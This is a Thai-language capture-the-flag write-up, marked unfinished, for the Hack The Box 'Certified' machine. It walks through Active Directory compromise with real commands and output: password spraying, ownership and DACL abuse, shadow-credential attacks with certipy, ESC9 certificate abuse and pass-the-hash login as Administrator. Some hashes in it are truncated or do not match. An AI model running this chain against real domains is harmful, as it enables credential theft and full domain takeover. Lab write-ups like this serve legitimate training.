Skip to content

HTB-Certified

INFO

Not Yet Finished TBC

HTB-Certified logo

Summary

Certified เป็นเครื่อง AD ระดับความยากปานกลาง ที่เป็นแบบ Assumed Breach scenario. ซึ่งจากผลของ Bloodhound เราก็จะเห็นว่า user ที่ให้มา ( judith.mader) มีสิทธิ write owner บน group management ซึ่งทำให้เราสามารถเพิ่มตัวเองเป็น management group พอดูต่อก็จะพบว่า group นี้มีสิทธิ GenericWrite บน management_svc account ซึ่งเราก็อาจจะทำ shadow credential เพื่อเอา HASH มาเข้า WinRM เพื่อได้ User flag ส่วนขั้น root เราก็จะใช้การโจมตี ADCS ประเภท ESC9 โดยใช้ tool ที่ชื่อว่า certipy เพื่อยกสิทธิตัวเองเป็น Domain Admin แล้วก็จบบบ

Let's Start !!

INFO

As is common in real life Windows pentests, you will start the Certified box with credentials for the following account: judith.mader / judith09

หลังจาก OSCP+ ประกาศข้อสอบแบบ assumed breach พี่ hack the box ก็จัด box ที่เป็น assumed breach อันแรกให้เลย 5555

เริ่มกันที่สแกน nmap

bash
# สร้างโฟลเดอร์สำหรับ nmap
mkdir nmap

# สแกน normal TCP
sudo nmap -sC -sV -oA nmap/nmap-initial 10.10.11.41 

# สแกน UDP และ all port ทิ้งไว้
sudo nmap -p- -oA nmap/nmap-all-port 10.10.11.41 
sudo nmap -sU -oA nmap/nmap-udp 10.10.11.4

จากผลสแกนพบว่า มี service ที่น่าสนใจคือ dns, smb, ldap, kerberos

Click me to toggle - ผลสแกน NMAP
bash
# Nmap 7.94SVN scan initiated Mon Nov  4 20:19:38 2024 as: /usr/lib/nmap/nmap -sC -sV -oA nmap/nmap-initial 10.10.11.41
Nmap scan report for 10.10.11.41
Host is up (0.17s latency).
Not shown: 989 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-11-04 20:19:57Z) 
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name) 
|_ssl-date: 2024-11-04T20:21:22+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after:  2025-05-13T15:49:36
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after:  2025-05-13T15:49:36
|_ssl-date: 2024-11-04T20:21:22+00:00; +7h00m00s from scanner time.
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after:  2025-05-13T15:49:36
|_ssl-date: 2024-11-04T20:21:22+00:00; +7h00m00s from scanner time.
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-11-04T20:21:22+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after:  2025-05-13T15:49:36
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 6h59m59s, deviation: 0s, median: 6h59m59s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2024-11-04T20:20:42
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Nov  4 20:21:22 2024 -- 1 IP address (1 host up) scanned in 104.08 seconds

เพิ่ม domain "certified.htb" เข้าในไฟล์ /etc/hosts

ปกติ port 53/tcp นั้นใช้สำหรับการทำ zone transfer
เราจะใช้คำสั่ง dig เพื่อลอง zone transfer ดู แต่ก็ไม่ได้อะไร

bash
dig axfr certified.htb @10.10.11.41

; <<>> DiG 9.20.2-1-Debian <<>> axfr certified.htb @10.10.11.41
;; global options: +cmd
; Transfer failed. #

ทำการ smb share enumeration ต่อว่า user judith ที่ให้มา มีสิทธิอ่านแชร์อะไรได้บ้าง
ผมจะใช้ tool ที่มีชื่อว่า netexec ในการทำครับ

bash
netexec smb 10.10.11.41 -u 'judith.mader' -p 'judith09' --shares

SMB         10.10.11.41     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.41     445    DC01             [+] certified.htb\judith.mader:judith09 
SMB         10.10.11.41     445    DC01             [*] Enumerated shares
SMB         10.10.11.41     445    DC01             Share           Permissions     Remark
SMB         10.10.11.41     445    DC01             -----           -----------     ------
SMB         10.10.11.41     445    DC01             ADMIN$                          Remote Admin
SMB         10.10.11.41     445    DC01             C$                              Default share
SMB         10.10.11.41     445    DC01             IPC$            READ            Remote IPC
SMB         10.10.11.41     445    DC01             NETLOGON        READ            Logon server share
SMB         10.10.11.41     445    DC01             SYSVOL          READ            Logon server share

จากผลลัพท์ เรารู้ว่า เครื่อง DC01 เป็น Window Server 2019 แล้วก็ไม่ได้มี share แปลกๆ เท่าไหร่ เราจะโน้ตไวก่อน แล้วถ้าไปต่อไม่ได้ เราจะค่อยมาคุ้ยแชร์อีกที

เพื่อจะได้ไม่เสียเวลา netexec สามารถ enumerate domain user ได้ (หรือจะทำผ่าน rpcclient ก็ได้ ซึ่งจะมี option ให้ enum มากขึ้น)

bash
netexec smb 10.10.11.41 -u 'judith.mader' -p 'judith09' --users

SMB         10.10.11.41     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.41     445    DC01             [+] certified.htb\judith.mader:judith09 
SMB         10.10.11.41     445    DC01             -Username-                    -Last PW Set-       -BadPW- -Description-                                               
SMB         10.10.11.41     445    DC01             Administrator                 2024-05-13 14:53:16 0       Built-in account for administering the computer/domain
SMB         10.10.11.41     445    DC01             Guest                         <never>             0       Built-in account for guest access to the computer/domain
SMB         10.10.11.41     445    DC01             krbtgt                        2024-05-13 15:02:51 0       Key Distribution Center Service Account
SMB         10.10.11.41     445    DC01             judith.mader                  2024-05-14 19:22:11 0
SMB         10.10.11.41     445    DC01             management_svc                2024-05-13 15:30:51 0
SMB         10.10.11.41     445    DC01             ca_operator                   2024-11-07 02:56:34 0
SMB         10.10.11.41     445    DC01             alexander.huges               2024-05-14 16:39:08 0
SMB         10.10.11.41     445    DC01             harry.wilson                  2024-05-14 16:39:37 0
SMB         10.10.11.41     445    DC01             gregory.cameron               2024-05-14 16:40:05 0
SMB         10.10.11.41     445    DC01             [*] Enumerated 9 local users: CERTIFIED

ต่อไปเราจะลองเช็คดูว่ามีการใช้ password reuse ไหม โดยจะ spray password "judith09" กับ username ที่ได้มา แต่ก็ไม่พบอะไร

bash
nxc smb 10.10.11.41 -u user.list -p "judith09" --continue-on-success

SMB         10.10.11.41     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.41     445    DC01             [-] certified.htb\krbtgt:judith09 STATUS_LOGON_FAILURE 
SMB         10.10.11.41     445    DC01             [-] certified.htb\harry.wilson:judith09 STATUS_LOGON_FAILURE 
SMB         10.10.11.41     445    DC01             [-] certified.htb\Administrator:judith09 STATUS_LOGON_FAILURE 
SMB         10.10.11.41     445    DC01             [-] certified.htb\Guest:judith09 STATUS_LOGON_FAILURE 
SMB         10.10.11.41     445    DC01             [-] certified.htb\alexander.huges:judith09 STATUS_LOGON_FAILURE 
SMB         10.10.11.41     445    DC01             [-] certified.htb\gregory.cameron:judith09 STATUS_LOGON_FAILURE 
SMB         10.10.11.41     445    DC01             [-] certified.htb\management_svc:judith09 STATUS_LOGON_FAILURE 
SMB         10.10.11.41     445    DC01             [-] certified.htb\ca_operator:judith09 STATUS_LOGON_FAILURE 
SMB         10.10.11.41     445    DC01             [+] certified.htb\judith.mader:judith09

ต่อกันที่ ldap เราสามารถใช้ tool ldapsearch เพื่อดูข้อมูลต่างๆ ได้
แต่เนื่องจากชื่อ box ค่อนข้างจะชัด เลยขอเช็คก่อนเลยว่ามี ad cs หรือเปล่า

bash
nxc ldap 10.10.11.41 -u 'judith.mader' -p 'judith09' -M adcs

SMB         10.10.11.41     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False)
LDAP        10.10.11.41     389    DC01             [+] certified.htb\judith.mader:judith09 
ADCS        10.10.11.41     389    DC01             [*] Starting LDAP search with search filter '(objectClass=pKIEnrollmentService)'
ADCS        10.10.11.41     389    DC01             Found PKI Enrollment Server: DC01.certified.htb
ADCS        10.10.11.41     389    DC01             Found CN: certified-DC01-CA

เพื่อเป็นการไม่เสียเวลา ผมจะรัน tool ที่ชื่อ bloodhound.py ซึ่งเป็นตัว ingestor version python ที่จะ query ข้อมูลต่างๆให้เราเลย แล้วถึงนำไปสแดงผลใน bloodhound gui ซึ่งใช้ neo4j เป็น database

bash
# สร้าง directory เพื่อเก็บ output json ของ bloodhound
mkdir bloodhound
cd bloodhound

# รันตัว ingestor
bloodhound-python -u 'judith.mader' -p 'judith09' -ns '10.10.11.41' -d 'certified.htb' -c ALL

# รัน neo4j
sudo neo4j console

หลังจาก import ไฟล์เข้า bloodhound แล้ว ผมจะ mark user ที่ owned แล้วก่อนเพื่อความง่ายต่อการ query

Mark user as owned

หลังจาก query "Shortest Path from Owned Principals" พบว่า user "judith" มีสิทธิแก้ไข ownership ของ group MANAGEMENT@CERTIFIED.HTB (WriteOwner)

WriteOwner relationship

ในเรื่องของ AD Lab ก็ได้มี project GOAD ขึ้นมาซึ่งผมพบว่า blog https://mayfly277.github.io/posts/GOADv2-pwning-part11/ เขียนได้ละเอียดดีครับ ผมจึงจะใช้ command จาก blog เพื่อช่วยในการ abuse relationship นี้ครับ

bash
# ดู Ownership ของ group management ณ ขณะนี้ว่าเป็นใคร
impacket-owneredit -action read -target 'management'  certified.htb/judith.mader:judith09

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Current owner information below
[*] - SID: S-1-5-21-729746778-2675978091-3820388244-1103
[*] - sAMAccountName: judith.mader 
[*] - distinguishedName: CN=Judith Mader,CN=Users,DC=certified,DC=htb

# เปลี่ยน ownership ของ group เป็น user "judith"
impacket-owneredit -action write -new-owner 'judith.mader' -target 'management'  certified.htb/judith.mader:judith09

จากผลลัพท์พบว่า user "judith" เป็น owner ของ group management อยู่แล้ว เพราะฉะนั้นเราไม่ต้องทำอะไรเพิ่ม แต่ถ้าจะเปลี่ยน ownership เราสามารถใช้คำสั่งบรรทัดที่ 12 ได้ครับ

ซึ่ง owner จะสามารถแก้ไข object security descriptor (e.g. owner, DACL, SACL)
โดยเราจะแก้ dacl โดยจะมอบสิทธิ FullControl ให้กับ user "judith" บน object management group (GenericAll)

bash
impacket-dacledit -action 'write' -rights 'FullControl' -principal judith.mader -target 'management' certified.htb/judith.mader:judith09

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] DACL backed up to dacledit-20241108-023403.bak
[*] DACL modified successfully!

ด้วยสิทธิ GenericAll เราสามารถเพิ่ม user "judith.mader" เข้า group management ได้

bash
ldeep ldap -u judith.mader -p 'judith09' -d certified.htb -s ldap://10.10.11.41 add_to_group "CN=JUDITH MADER,CN=USERS,DC=CERTIFIED,DC=HTB" "CN=MANAGEMENT,CN=USERS,DC=CERTIFIED,DC=HTB"

[+] User CN=JUDITH MADER,CN=USERS,DC=CERTIFIED,DC=HTB successfully added to CN=MANAGEMENT,CN=USERS,DC=CERTIFIED,DC=HTB

กลับมาดู bloodhound กันต่อ Generic Write

Group management มีสิทธิ GenericWrite บน user "management_svc" ซึ่ง DC01 เราเป็น Window Server 2019 เพราะฉะนั้นเราสามารถทำ shadow credential ได้ด้วย certipy-ad

เพื่อป้องกัน Kerberos SessionError: KRB_AP_ERR_SKEW (Clock skew too great) เราต้องทำการ sync time กันก่อน

bash
sudo timedatectl set-ntp off
sudo rdate -n 10.10.11.41

Fri Nov  8 02:35:18 +07 2024

Shadow credential

bash
certipy-ad shadow auto -u judith.mader@certified.htb -p 'judith09' -account 'management_svc'

Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Targeting user 'management_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '22b2f8f4-2d5d-a593-e888-9b1a95ec3be8'
[*] Adding Key Credential with device ID '22b2f8f4-2d5d-a593-e888-9b1a95ec3be8' to the Key Credentials for 'management_svc'
[*] Successfully added Key Credential with device ID '22b2f8f4-2d5d-a593-e888-9b1a95ec3be8' to the Key Credentials for 'management_svc'
[*] Authenticating as 'management_svc' with the certificate
[*] Using principal: management_svc@certified.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'management_svc.ccache'
[*] Trying to retrieve NT hash for 'management_svc'
[*] Restoring the old Key Credentials for 'management_svc'
[*] Successfully restored the old Key Credentials for 'management_svc'
[*] NT hash for 'management_svc': a091c1832bcdd4677c28b5a6a1295584 

เราได้ NT hash ของ user "management_svc" มา ซึ่งก็คือ "a091c1832bcdd4677c28b5a6a129558"

กลับมาดู bloodhound กันต่อ

CanPSRemote

จากรูปจะเห็นว่า user "management_svc" มีสิทธิ CanPSRemote ซึ่งสิทธินี้สามารถ evil-winrm ได้ ถ้า port 5985/tcp (winrm) เปิด
แต่ port ไม่เปิด ...

เพราะฉะนั้น เราจะหาทางไปต่อ เลยกลับไปดูที่ bloodhound กันต่อ

GenericAll

จากรูปจะเห็นได้ว่า user "management_svc" มีสิทธิ GenericAll บน user "ca_operator"
ซึ่งสิทธิ GenericAll อนุญาตให้ user "managemenr_svc" ทำอะไรก็ได้กับ object ของ user "ca_operator"

ซึ่งเราก็จะทำ shadow credential อีกรอบ เพื่อเอา NT-Hash ของ user "ca_operator"

bash
certipy-ad shadow auto -username management_svc@certified.htb -hashes a091c1832bcdd4677c28b5a6a1295584 -account ca_operator

Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Targeting user 'ca_operator'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '00f102ba-570d-e081-900d-f61de8da15ad'
[*] Adding Key Credential with device ID '00f102ba-570d-e081-900d-f61de8da15ad' to the Key Credentials for 'ca_operator'
[*] Successfully added Key Credential with device ID '00f102ba-570d-e081-900d-f61de8da15ad' to the Key Credentials for 'ca_operator'
[*] Authenticating as 'ca_operator' with the certificate
[*] Using principal: ca_operator@certified.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'ca_operator.ccache'
[*] Trying to retrieve NT hash for 'ca_operator'
[*] Restoring the old Key Credentials for 'ca_operator'
[*] Successfully restored the old Key Credentials for 'ca_operator'
[*] NT hash for 'ca_operator': b4b86f45c6018f1b664f70805f45d8f2 
bash
certipy-ad account update -username management_svc@certified.htb -hashes a091c1832bcdd4677c28b5a6a1295584 -user ca_operator -upn Administrator

Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Updating user 'ca_operator':
    userPrincipalName                   : Administrator
[*] Successfully updated 'ca_operator'
bash
certipy-ad req -username ca_operator@certified.htb -hashes fb54d1c05e301e024800c6ad99fe9b45 -ca 'certified-DC01-CA' -dc-ip 10.10.11.41 -template CertifiedAuthentication
bash
certipy-ad account update -username management_svc@certified.htb -hashes a091c1832bcdd4677c28b5a6a1295584 -user ca_operator -upn ca_operator@certified.htb
bash
certipy-ad auth -pfx administrator.pfx -domain certified.htb
bash
psexec.py -hashes 'aad3b435b51404eeaad3b435b51404ee:0d5b49608bbce1751f708748f67e2d34' Administrator@certified.htb